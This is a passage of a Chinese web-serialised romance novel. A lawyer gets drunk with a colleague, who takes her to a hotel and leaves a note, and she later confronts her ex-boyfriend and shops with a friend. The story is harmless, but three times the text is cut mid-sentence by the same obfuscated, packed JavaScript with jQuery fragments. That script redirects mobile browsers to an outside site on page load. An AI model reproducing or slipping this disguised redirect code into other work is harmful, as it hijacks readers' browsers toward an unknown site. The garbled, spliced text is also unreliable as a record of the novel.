稚言笑了一下,忽然想起上周顾禹谦跟他说过那些话,比如他说‘你拒绝一个男人送你回家,但你的男朋友并不会为了你而不送其他女人回家。’ 再比如他问她,如果在感情中遭受了背叛,还会不会相信爱情。 他还说,男人更容易背叛。 这些话似乎都带着暗示性。 “其实,你是不是早知道钟明贤和霍秀雅有不正当关系?” “确实偶遇过一两次。”顾禹谦看着她,“不过,我相信以你的洞察力,应该很快就会发现。” 稚言自嘲道:“那要让顾律师失望了,我的洞察力实在低得可以。” “不是发现并分手了吗?” 稚言在想,如果不是那些照片,她或许现在还蒙在鼓里,“其实并不是我自己发现的,有人给我匿名寄了照片,而那个人,应该就是霍秀雅。” “哦?如何推测是她?” “首先从寄照片的人动机开始推测,像这样的情形可能第一想到的是勒索案,如果对方想利用这些照片跟钟明贤勒索,那至少钟明贤应该知道这些照片的存在,可他的反应告诉我,他并不知道。如果不是为了钱财,那这个寄照片的人目的又是什么?十几张照片,总共涉及七八个场景,他们也不是什么公众人物,应该不会有专业的狗仔跟拍,而且还这么精准地抓拍到一些亲密瞬间。有几张照片的角度其实是从正面拍的,这大概率是照片里的主人公授意拍的,这一点可以推测出拥有这些照片的人其实就是照片里的人,钟明贤没必要匿名给我寄这些照片,而剩下的一个人,就是照片女主人公了。她也有合理的动机,那就是觉得我碍眼,希望我跟钟明贤分手。” 顾禹谦听完了她的推理,依旧逻辑清晰,连他也说不出漏洞,“你的逻辑推理能力不错。” “谢谢夸奖。” 顾禹谦又开启了另外一个话题,“要喝一杯吗?” “嗯?” “有一家我经常去的清吧,环境不错。” 稚言刚吃完一顿米其林,本来应该要好好回味的,只是钟明贤和霍秀雅的出现彻底恶心了她,而刚好,酒是可以缓解恶心的。 “那,我请?” “我是那家店的会员,我想我来请会更方便。”顾禹谦道:“如果稚小姐觉得亏欠,可以多请我吃一次饭。” 顾禹谦这么说,其实是顾虑她的收入水平,稚言笑了笑,“好,那就去吧。” 顾禹谦说的清吧属于高档会所,里面的装潢是简约风,来这里的人也大多都是有钱人,还有一些职场的精英约在这里谈论生意。 没有喧嚣和扎眼的灯光,和谐的让人不觉得这是酒吧。 两人找了一张桌子坐下,稚言环顾着四周,“其实,这是我长这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392753|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么大,第一次进酒吧。” 顾禹谦道:“是吗?” “从小家教严格,我要是敢去酒吧,我爸得打断我的腿。” 顾禹谦笑了笑,“这么严。” “嗯。” 酒吧的服务员端上他们刚点的酒,稚言点了一杯朗姆酒,对于平时几乎只喝啤酒的她而言,这个酒算烈酒。 顾禹谦点的是威士忌。 虽说对她而言是烈酒,但酒入了喉之后,有柠檬的香气,还有烈酒的辛辣,被这样两重味道一刺激,胸口的那一股恶心烦闷感缓解了不少。 她连续喝了好几口。 稚言缓过朗姆酒带来的刺激感,看着顾禹谦,“你酒量应该很好。” 顾禹谦道:“算不上千杯不醉,但不至于十杯八杯就醉。” “嗯,那就好。” 顾禹谦看着她,那一杯朗姆酒,她才喝了二分之一,脸颊便有些红,“你酒量应该不是很好?” “看得出来么?” “显而易见。” 稚言撑着下颌,右手握着酒杯轻轻晃了晃,“其实我也不知道我酒量好不好,我从来不多喝,最多也就喝过一整罐啤酒。” “那想不想探一探自己的酒量?”顾禹谦问。 稚言看着他,反问:“那你会害怕自己的同伴喝醉酒耍酒疯吗?” 顾禹谦轻笑,“害怕倒不会,我只是担心你会对我不放心。” 稚言抿着唇笑了笑,她看着顾禹谦,眼前的人是真的好看,眉眼如画,鼻梁很高,皮肤比她的还好。 “我对顾律师很放心。” 顾禹谦似乎觉得有趣,循着她的话问:“怎么说?” 稚言又想起了那份协议,她喝了一小口酒,而后才道:“你应该有洁癖,生理心理上的洁癖都有。所以我断定,你绝对不会乘人之危,我这样的在你面前应该很安全。” “为什么要把自己归为特别那一类?” “因为我不是顾律师的菜。” “哦?”顾禹谦含着笑,“谁说的?” 稚言疑惑地看着他。 顾禹谦兀自地端起酒喝了一口,沾了酒水唇有些水润,性感的喉结在领口上方滚动,他的声音磁性而低沉,“刚刚我在霍秀雅面前说的那些话,可没有假话。” 稚言顺着他的话去回忆一个小时之前,在那一家米其林二星餐厅入口处,顾禹谦出现后说过的话,他说:“在我眼里稚小姐很有魅力,我对她,一见倾心。” 不是假话? 还是说这人本来就是个调情高手,他的话真真假假,为的就是试探别人的反应? 无论真假,都足以让稚言脸部发烫,她为了掩饰自己的无措,端起酒又喝了一口。 很辣,入了喉咙就像是要烧着。 更热了。 15. chapter15 酒吧里乐队主唱抱着吉他唱着抒情的歌,在稚言的耳边回荡,伴随着音乐,顾禹谦的嗓音像是复读机一样,在她的脑海里反复响起。 “看来,刚刚是我唐突了。”顾禹谦说。 稚言从混乱中找回一丝清明,看着眼前的人,他其实并不会真的喜欢一个人,她莞尔,“我就没有当真。” 顾禹谦的眼底划过一丝失落,微不可察。 稚言喝完最后一口酒,她抬手看了看手表,“明天还要上班,回去吧。” “好。” 稚言提起自己的手提包,准备离开酒吧,顾禹谦拿出手机约代驾,这附近酒吧不少,代驾非常容易找。 他刚找好代驾,从手机屏幕上抬起头的时候,走在他前方的人身形不稳,就要往一边倒去。 他动作迅速抬手接住,让她往下倒的身子直接撞入了怀里。 稚言也不知道刚刚发生了什么,只是莫名地脚软,差点摔倒,幸好有人接住了她。 是谁? 她脑海里一片混沌,淡淡的香水味扑鼻而来,这个味道很特殊,让人觉得很舒服。 对方的体温隔着衣服传过来,他很高,自己的鼻子都只能及到他的肩膀。 她紧闭着眼睛甩头,让自己清醒一点,她抬头,对上了顾禹谦的那张脸,很近,连呼出来的气都纠缠在一起。 莫名暧昧。 她撑着对方的胸口跟他拉开点距离,揉了揉额头,“抱歉。” 顾禹谦看着满脸通红的她,不难看出,她醉了,“记住了,你的酒量是一杯朗姆酒。” 稚言懵懵懂懂的,好一会儿才理解过来他这句话,她笑了,“是不是很菜?” “有点。” 稚言笑了笑,继续往外面走,强撑着保持清醒,而顾禹谦则害怕她再次摔倒,特意和她并肩走,左手手臂抬起,虚放在她身后,只要她往下倒,他就能第一时间扶住她。 绅士而礼貌。 代驾把车子开了过来,顾禹谦小心地将稚言扶上了车。 比预想中要好,喝醉酒的稚言非常安静,甚至不会自言自语,眼里带着水花,一副我见犹怜的模样。 上车后,顾禹谦先报了稚言的住址,他送她回过一次家,记住了。 不一会儿,肩膀一重,旁边的稚言倒在了他的肩膀上,她眼睫垂了下来,已经睡着了,脸颊通红,呼吸微微有点重。 顾禹谦稍微朝她旁边挪了挪,以至于让她更好地依靠。 此时稚言睡得很沉,如果她自己住,就这样送她回去,没人照顾她会更麻烦。 顾禹谦把地址改为稚言住址对面的酒店。 稚言一直没醒,睡得非常熟。 车子在酒店门口停下,顾禹谦先下车办了入住,而后再出来把稚言抱进去,并且他还贴心地叫上了酒店的工作人员跟他一起去,帮忙摁电梯,开门。 酒店的工作人员见过喝醉酒的女孩被男人捡尸开房的,之后被侵犯的女孩也将他们酒店告了。 酒店的工作人员对身边这个男人充满好奇,如果这个男人是捡尸族,那这也太帅了,太有气质了,他身上一身都是名牌,反而是他抱着的女人,比他要差点。 “先生,这位是你女朋友吗?”在电梯上,工作人员试探着问。 顾禹谦自然听出了工作人员的弦外之音,他好脾气地答:“目前算是朋友。” 工作人员了然,目前算是,那是不是说以后不确定呢? 到了楼层,工作人员热心地开门,顾禹谦抱着稚言进了房,将她放在床上。稚言睁开了眼睛,看着他。 顾禹谦的手还没完全松开,对上她的眼睛,他柔声问:“醒了?” 稚言没说话,像个孩子一样看着他。 忽然,她抬手,食指指尖轻轻沿着他的眉心划到了鼻尖,她呢喃着,“你长得真好看。” 顾禹谦意外她会这么说,他轻笑,保持着和她的近距离,任由她的手指在他的眉心和鼻梁拂过。 他说:“长得好看,也不见你喜欢。” 稚言似乎还没回过味来他这句话的意思,她脑袋一片混沌,甚至可以说毫无伦次,只是顺着他的话问:“如果我喜欢你,你会喜欢我吗?” “当然,我今天不是还当众表白了。” “那你……那你会跟我签恋爱协议吗?” “嗯,如果你愿意的话。” 稚言弯起了嘴角,似乎是很开心,她的眼皮非常重,就在合上之前,她轻声说:“那我跟你签。” 说完后,她便闭上了眼睛,又熟睡了过去。 “好。”顾禹谦也轻声答。 —— 隔天,稚言醒来时,发现自己在一个陌生的环境,她头有些痛,她下了床,看到了放在床头柜的一张纸,还有一些缓解酒后头疼的药。 稚言拿起那张纸看了看,上面好看的笔迹写着:希望这一次醉酒体验不会让你觉得糟糕,如果头疼的话,旁边放着药。我今天约了客户,需要先走,你醒后,最好跟我报个平安。 另,如果你还记得昨晚说过的话,并且那些话还算数,那就来找我,我等你一周时间。 落款处写着顾禹谦。 稚言看完了纸条,回想起昨晚说过的话,什么话?她记得在酒吧顾禹谦说他在霍秀雅面前说的不是假话,后来他又为自己的唐突道歉。 之后她们就离开了酒吧,再之后她就不记得了。 连怎么会出现在这家酒店她都不清楚。 断片了。 喝醉的体验真差,她觉得这种感觉体验一次就够了。 稚言揉了揉脑袋,而后拿起了手机,发现今天早上谢芫给她打了电话,还发了好几条消息。 看来是她早上起来没发现稚言昨晚没回去,所以才给她发消息。 谢芫:我才发现你昨晚根本没回来!去哪了? 谢芫:稚言,你没事吧,看到消息回复我。 谢芫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392754|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :稚言,你在哪? 这三条消息都是隔半个小时发的,看来谢芫很担心她。 稚言先给谢芫发了消息报平安,然后翻出了顾禹谦的手机号码,本想给他打电话,但想到现在已经九点半了,对方可能在工作。 他应该不喜欢有人在工作时间打搅他的。 她改为发短信:顾律师,昨天麻烦你了。我昨晚不大记得出了酒吧之后的事,没说什么不该说的话吧? 稚言发了出去没多久,顾禹谦便回复了。 顾禹谦:没有,但如果你想起来,随时可以来找我。 稚言很好奇,自己到底说了什么? 稚言:能提醒一下我到底说过什么吗? 顾禹谦:提醒了就没有意义了。 好吧,看样子不是什么特别重要的事情,稚言离开了酒店,这才发现这酒店就在自家对面。 她请了半天假,回家洗了个澡换了一身衣服,等到头疼缓解了才回公司上班。 稚言没想到的是,钟明贤还有脸来找她。 在下班时,他等在稚言的公司楼下,而稚言加班,他一等就等到了九点。 分手后,稚言把他的号码和微信都拉黑了,导致他只能用这种守株待兔的方式。 稚言一下楼,钟明贤便迎了上来,脸色特别难看,“稚言,你跟顾禹谦是怎么回事?” 没想到他在楼下等这么久,为的是打探她和顾禹谦的事,稚言觉得钟明贤简直不可理喻,“我们已经分手了,我跟谁在一起,其实跟你都没关系。” “我只是想弄清楚你提分手的真正原因。”钟明贤一开始觉得稚言提分手是因为霍秀雅的缘故,但昨天经历了那些事之后,他才发现并没有那么简单,“我们才分手一个星期,你就跟顾禹谦好上了,你敢说跟我在一起的时候,对我忠诚吗?” “无论我是否曾经对你忠诚,那都是过去式,我根本不想跟你讨论这个问题。” “这对我很重要,你明面上说是我劈腿,但我也告诉过你,我跟霍秀雅根本就是逢场作戏。而你,却是实实在在背叛了我,不是吗?” 所以,他纠结的是自己有没有被戴绿帽子,毕竟男人可以忍受被甩,但绝不能忍受被戴绿帽。 “钟明贤,你能不能不要一次又一次地刷新我对你的认知?!”稚言感觉到自己全身的血液都在沸腾,她没想到钟明贤竟然不要脸到这个程度,“你这样只会让我恶心。” 说完,稚言转身就要走。 钟明贤抬手握住她的手臂,稚言动作迅速地转身反手将钟明贤制住。 钟明贤的手臂被稚言反剪擒拿,有些疼,“稚言,我的手臂快断了!” 稚言松开了他的手臂,而后她调整了一下情绪,“钟明贤,到此为止吧,以后别找我了,我们也别来往了,就算是留给我们那四年的最后一点尊严。” 稚言转身,朝着地铁口走去。 钟明贤看着稚言离开的背影,有些茫然。 16. chapter16 稚言回到了家,谢芫早早叫好了宵夜等着她。 大有兴师问罪的架势。 稚言吃了一个烤鸡翅,对上谢芫那拷问一般的眼神,她无奈,“别看着我,快吃。” 谢芫抱着双臂,十分严肃道:“坦白从宽,抗拒从严,昨晚到底去哪了?” “去对面酒店住了一晚,喝多了,不想回来吵你。” 谢芫满脸都写着不信,“我可从没看到过你喝多,并且你的安全意识一直很高,从来都不会喝太多酒的,昨晚到底跟谁在一起,让你把戒备放得这么低?” 稚言低头吃生蚝,她给谢芫也夹了一个,“这生蚝真的很鲜,你多吃点。” 谢芫仍旧抱着双臂,用霸道总裁的语气道:“女人,你在逃避我的问题,你知道,这只会勾起我的兴趣。” 稚言被她这句话逗笑了,“你到底想怎样吗?” “快说,昨天到底跟哪个野男人一起去喝酒了?还夜不归宿,你就不怕我跟阿姨告状?” 稚言一本正经道:“我不告诉你,主要是怕你承受不住打击。” “老娘什么风雨没见过,还不至于。”谢芫道:“快说吧,你要不说,我每天唐僧念经一样在你耳边唠叨。” 稚言端起旁边的雪碧喝了一口,“你不要后悔。” “啧!我有什么好后悔的,快说,否则待会刑讯逼供了。” 稚言看着她,一字一句说:“你老板。” 谢芫眨了眨眼睛,“关我老板什么事?” “我说,昨天跟你老板喝酒去了。” “我靠!”谢芫吓得嘴里的鸡翅膀都快掉出来了,他干脆拿了下来,“真的假的?” “你看吧,不说你又好奇,说了你还不信。” “不是,那……唉?怎么回事,你什么时候跟我老板这么熟了?” “也不熟,只是因为一件案子有了交集,昨天吃了饭,就去喝酒了。” 听着稚言说你老板,谢芫很难跟自己那个心目中那个高贵冷艳的老板联系起来,但她相信稚言不会说谎,“那昨晚你们还……还那个了?” 稚言差点被雪碧呛了一下,她咽下嘴里的饮料,“没有,只是我酒量太差,他估计想送我回家,谁知我喝醉了,他只好把我扔在了小区对面的酒店。” 在谢芫眼里,自己的老板是高冷之花,绝对不轻易靠近女人,她脸上兴师问罪的表情一变,懊恼道:“羡慕,你跟他喝酒,怎么不带上我啊?嘤嘤嘤……” 稚言笑了笑,“下次还有机会的话,我通知你。” “不不不,也不行,我是他的下属,要是过去,其实我会尴尬死的。”谢芫感慨道:“男神嘛,远距离肖想就够了。” 想到什么,谢芫问:“话说,他是不是对你有意思啊?” 稚言想了想,要说普通男人因为那么一件小事请她吃饭,还请她喝酒,或许可以认定为对她有意思,但对方是顾禹谦,并且她最近才处理了一桩他前女友的案子,如果这个时候觉得顾禹谦对自己有意思,那多少是有点自作多情的。 “说真的,在他面前千万别自作多情,否则只会让人看笑话,他就算对我很特殊,也不能证明我在他眼里很特别。而且,我觉得更有说服力的是我工作上的做事方式跟他比较合拍,他想挖我过去。” “那你们昨天喝酒都说了什么?” 稚言言简意赅,“瞎聊。” 谢芫:“……” 谢芫不放弃地再问了一个问题,“我最后问一个问题,如果他想跟你签恋爱协议,你签不签?” 稚言微微一愣,莫名地,她脑海里出现了一个声音。 “你愿意和我签恋爱协议吗?” “嗯,如果你愿意的话。” 稚言揉了揉脑袋,出现幻觉了吗? 怎么会无缘无故出现这样一个声音? “怎么了?稚言?” 稚言揉了太阳穴让自己清醒,“大概昨晚喝醉还有点后遗症。” 谢芫双手撑着下巴,“快说嘛,他要是想跟你签恋爱协议,你签不签?” 对于这个问题,稚言犹豫了片刻,跟顾禹谦在一起的时候,她还挺放松的,甚至昨天喝烈酒的时候,对他也非常放心,明明他们昨天才第四次见面。 但顾禹谦这个人对待感情,和她是不一样的。 她从小在父母的影响下,向往的是一生一世一双人,白头偕老的爱情。 而顾禹谦的种种行为都在告诉靠近他的人,他只追求荷尔蒙带来的爱情,一旦两人之间互相吸引的荷尔蒙过了保质期,那就不必留恋了。 “其实我也不确定,但说真的,我很清楚,自己跟他不是一路人。” “哎哟,也没有让你和他结婚,就只是谈恋爱啊。”谢芫说:“你啊,就是只有钟明贤这一次恋爱经验,所以之前都被他拿捏地死死地。” 稚言问:“所以,你觉得要是他有这个意向跟我谈恋爱,我应该答应?” “你的话我是不知道,总之他要是看上我,我会答应的。”谢芫眯起眼睛笑,看样子已经在幻想了。 稚言可不想跟着她一起做梦,“你慢慢吃,我洗澡去了。” “去吧去吧。” 稚言洗了个澡出来,谢芫便屁颠屁颠地跟着她进了房,“稚言,有个事忘了跟你说,下周五律协搞光棍节舞会,你也会去的吧?” 律协的光棍节舞会,其实就是联谊舞会,只有单身的律师才能参加。 目的不言而喻。 稚言从来没去过,也没有兴趣,“不了,我不适合那种场合。” “别嘛,好不容易你单身了呀,不想去看看那些年轻的小鲜肉吗?” 稚言依旧提不起兴趣,“我刚分手,你好歹让我缓一阵子。” “我跟你说,分手后就不要想着要缓一缓在找,你应该立即投入一段新的恋情,来抚慰自己受伤的心,你再迟一点,钟明贤都跟那个富婆孩子都有了。” “那也跟我没关系。” “哎哟,你就当去玩一玩,放松心情,怎么样?”谢芫搂着稚言的手撒娇地摇着,“好嘛好嘛,就当陪我去嘛。” 稚言被她摇得受不了,忙缴械投降,连连点头,“行行行。” 谢芫弯起眼睛笑了笑,“就这么说定了,下周五你陪我去,然后我们明天去逛街,买衣服!” “好。” 谢芫假装在她脸上亲了一口,“么么哒。” 谢芫出去后,稚言掀开被子上床,靠坐在床头,从包里拿出了顾禹谦写的那张纸条,他说如果还记得昨晚说过的话,并还算数,就去找他。 昨天从酒吧出来后到底发生了什么? 从他的字里行间可以看得出,昨天她似乎是在醉后承诺了他什么,所以他才会说‘如果算数’的话。 那她能承诺什么东西? 莫非是自己答应他跳槽了? 但她并没有跳槽的想法,毕竟她的终极目标是成为检察官。 一个人就算醉了胡言乱语,那他所说的一般都有一些事实依据。 所以才有了酒后吐真言的说法。 按照这样来推测,那可能是她在酒后倾吐了什么内心的想法。 显然,答应他跳槽的事,可以排除。 那还能有什么呢? 他们本来就不熟,能有什么东西或者事情可以承诺的? 想着想着,稚言睡意渐浓。 在意识模糊之际,脑海里忽然浮现了一张脸,是一张很精致的脸,剑眉星目,鼻梁高挺,她顺着他的眉心轻轻划到他的鼻尖。 “你长得真好看。” 那人唇角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15392755|168615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾起,“长得好看也不见你喜欢。” “那如果我喜欢你,你会喜欢我吗?” “当然,我不是当众表白了吗?” “那你会跟我签恋爱协议吗?” “嗯,如果你愿意的话。” “那我跟你签。” 已经快要进入睡眠的稚言猛然睁开眼睛,她的心跳得很快,她终于回忆起来了。 原来,自己跟他说了那些话。 基本等于告白了。 稚言扯着被子盖过头,脸很烫。 她真的是疯了。 怎么能跟他说那些话。 在心里狠狠鄙视自己十几分钟之后,稚言忽然觉得不对,那顾禹谦的意思是愿意和她签恋爱协议? 还是说他其实只是在逗昨天喝醉酒的她? 如果是逗她的话,那他今早不会留下那样一张纸条,明显就是在传达:如果你昨天说的还算数,就来找我。但你是酒后胡言乱语,那就算了。 要是她去找他,那是不是就等于确定了要跟他签恋爱协议,然后成为正式的恋人? 他们一共也就见过四面。 顾禹谦为什么愿意跟她签恋爱协议,总不会是真的对她一见钟情? 可她有自知之明,自己跟他的前女友在容貌和气质上还是有差距的。 她实在摸不透他这个人。 破天荒的,稚言失眠了,到深夜三点才睡着。 幸好隔天是周六,稚言睡到了十点,才慢悠悠地跟着谢芫一块出门买衣服。 买的自然是下周五光棍节舞会的礼服。 谢芫声称一定要把稚言变成当天最惊艳的女嘉宾。 稚言因为昨晚失眠,还有些恍惚,听到这句话,她回过神,“为什么要把我变成最惊艳的?我不是陪你去的吗?” “小姐姐,虽然你是陪我去的,但是你要想,这个活动钟明贤可能也会参加,你难道不想在前任面前大放异彩,让他悔不当初,痛哭流涕吗?” 或许,每一个分手的人都不会希望在前任面前丢脸,都想要跟前任炫耀:看,离开你,我过得更好了。 或者:离开你,我找到了比你更好的了。 但对于在前任面前炫耀这种行为,稚言一点也不屑,她甚至根本不想再见到钟明贤。 “其实我根本没想让他后悔,我只想他以后都不要出现在我生命中。” “那看来你是对他真的死心了。”谢芫在衣服架子上挑着裙子,“但不管怎么样,你也该好好打扮打扮,你啊,五官什么的绝对是大美女,就是不会打扮。” 最终,谢芫还是给她挑了一条法式香槟色纱裙。 —— 稚言主导办理的商标侵权案已经立案,下周开庭,周二的时候她去了一趟法院,打算提交一些新的证据。 她进了法院大厅,朝着电梯口走去。 不远处的电梯门刚好打开,一个穿着西装的男人走了出来,他五官英俊,气质出众,让人第一眼就注意到了。 稚言心漏跳了一拍,几乎是下意识地,往旁边的大柱子一闪,将自己的身体隐藏在柱子后。 她连呼吸都屏住了。 从电梯上下来的男人径直朝着法院大门走去,他身后还跟着一名提着公文包的男人,此人正是顾禹谦,他身后跟着的便是他的私人秘书赵泽。 顾禹谦下意识朝着那根大柱子看过去,只看到了一点影子,那个影子贴着柱子站得笔直,藏匿得倒是挺快。 似乎觉得有趣,他唇角勾起。 旁边的赵泽捕捉到了他脸上的笑容,“老板,什么事这么好笑?” 顾禹谦道:“看到了一只小猫。” 赵泽循着他刚看的方向,一脸疑惑,这法院的大厅里怎么会有猫? 还是说,其实他是指人?